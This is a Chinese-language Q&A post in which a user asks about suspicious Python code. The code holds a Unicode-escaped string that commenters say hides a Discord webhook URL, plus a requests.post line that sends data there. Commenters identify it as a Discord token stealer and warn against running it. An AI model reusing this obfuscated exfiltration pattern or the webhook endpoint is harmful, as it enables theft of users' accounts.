【发布时间】：2023-02-23 14:49:29
【问题描述】：
这是奇怪的代码：
slope = "\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0063\u0061\u006e\u0061\u0072\u0079\u002e\u0064\u0069\u0073\u0063\u006f\u0072\u0064\u002e\u0063\u006f\u006d\u002f\u0061\u0070\u0069\u002f\u0077\u0065\u0062\u0068\u006f\u006f\u006b\u0073\u002f\u0039\u0032\u0031\u0038\u0039\u0031\u0038\u0030\u0037\u0033\u0038\u0030\u0035\u0032\u0039\u0031\u0037\u0032\u002f\u006b\u0032\u0039\u0061\u0034\u006b\u0039\u0057\u0047\u0059\u006a\u0076\u0046\u0079\u0047\u0038\u0037\u0034\u0050\u005f\u004b\u0073\u0052\u0062\u0042\u0062\u0058\u004b\u005f\u0064\u005a\u0043\u0045\u0071\u0050\u0044\u0056\u005f\u0037\u0053\u0074\u0065\u0036\u006a\u0071\u004a\u0030\u0050\u0031\u0048\u002d\u0051\u004a\u0070\u004b\u0048\u0051\u002d\u0059\u0067\u0070\u0061\u0031\u0050\u0035\u0043\u0053\u0047"
我在代码的末尾发现了这个：
requests.post(slope, data=json.dumps(data), headers={"Content-Type": "application/json"})
【问题讨论】：
-
这只是一个 URL，以 canary.discord.com/api/webhooks 开头，用 Unicode 转义序列编写以对其进行混淆。我会假设这样的代码有邪恶的目的，请不要运行它。
-
顺便说一下，我想通了。它获取你的 discord 令牌并将其发送到 webhook，允许某人访问任何被抓取的帐户。给任何可能看到这个的人。不要运行任何像这样的文件
标签： python